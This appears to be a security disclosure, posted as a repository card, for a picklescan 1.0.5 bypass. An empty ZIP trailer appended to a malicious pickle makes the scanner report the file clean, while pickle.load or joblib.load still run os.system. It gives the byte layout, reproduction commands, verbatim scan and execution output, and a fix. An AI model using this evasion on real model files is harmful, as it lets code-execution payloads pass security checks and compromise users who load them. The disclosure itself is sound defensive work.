YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
picklescan โค1.0.5 bypass โ ZIP End-Of-Central-Directory trailer container-routing confusion
Target: picklescan 1.0.5 (current PyPI release, verified 2026-07-19)
Category: picklescan-evasion (scanner-evasion)
Impact: A .pkl/.joblib that picklescan reports 100% clean (exit 0, Dangerous globals: 0) executes os.system on pickle.load() / joblib.load().
Root cause
picklescan/scanner.py::scan_bytes() chooses the scan strategy for a .pkl/.joblib
via zipfile.is_zipfile(data). is_zipfile() only searches backward from EOF for the
ZIP End-Of-Central-Directory signature PK\x05\x06; it never looks at the front of the file.
Appending an empty (0-entry) EOCD record to an ordinary pickle stream makes
is_zipfile() return True, so scan_bytes() routes the file into scan_zip_bytes().
scan_zip_bytes() iterates only ZIP members (here: none) and never scans the raw
pickle prefix. Report: Scanned files: 0, Dangerous globals: 0, exit 0.
The real loaders read the pickle from offset 0, stop at the STOP opcode, execute the
embedded __reduce__ (os.system), and ignore the trailing ZIP bytes.
Layout
[ \x80\x04 ... GLOBAL posix.system ... REDUCE . ] [ PK\x05\x06 + 18x \x00 ]
^-- pickle.load / joblib.load execute this --------^ ^-- is_zipfile() sees only this --^
Reproduce
pip install picklescan # 1.0.5
python gen_poc.py
python -m picklescan -p evil.pkl # Dangerous globals: 0 -> exit 0 (CLEAN)
python -m picklescan -p control_plain.pkl # NEGATIVE CONTROL: 'posix system' FOUND
python -c "import pickle; pickle.load(open('evil.pkl','rb'))" # -> REAL_EXEC_DONE, touch /tmp/PWNED_zipeocd
python -c "import joblib; joblib.load('evil.joblib')" # -> REAL_EXEC_DONE
Verified output (captured verbatim, picklescan 1.0.5, joblib 1.5.2, 2026-07-19)
$ python -m picklescan -p evil.pkl
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Suspicious globals: 0
Dangerous globals: 0
exit=0
$ python -m picklescan -p control_plain.pkl # NEGATIVE CONTROL (same pickle, no trailer)
.../control_plain.pkl: dangerous import 'posix system' FOUND
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 1
Suspicious globals: 0
Dangerous globals: 1
exit=0
$ python -c "import zipfile; print(zipfile.is_zipfile('evil.pkl'), zipfile.is_zipfile('evil.joblib'))"
True True
$ python -c "import pickle; pickle.load(open('evil.pkl','rb'))"
REAL_EXEC_DONE
$ ls -l /tmp/PWNED_zipeocd
-rw-rw-r-- 1 kali kali 0 ... /tmp/PWNED_zipeocd
$ python -c "import joblib; joblib.load('evil.joblib')" # joblib 1.5.2
REAL_EXEC_DONE
Scanner API (picklescan.scanner.scan_file_path)
evil.pkl -> globals=[] issues=0 infected=0 scan_err=False
control_plain.pkl -> globals=[Global('posix','system',Dangerous)] issues=1 infected=1 scan_err=False
Distinctness
Structurally distinct from opcode/global/memo/int-divergence gadgets: this abuses the
container-detection routing (zipfile.is_zipfile EOCD false-positive on a pickle) so the
pickle prefix is never scanned as a pickle. No dangerous global ever reaches the classifier.
Fix suggestion
Before trusting is_zipfile(), also scan the leading bytes as a pickle when the first bytes
match a pickle PROTO opcode (\x80\x00..\x80\x05) or a proto-0 opcode, or require the ZIP
central directory to actually contain entries / cover the whole file.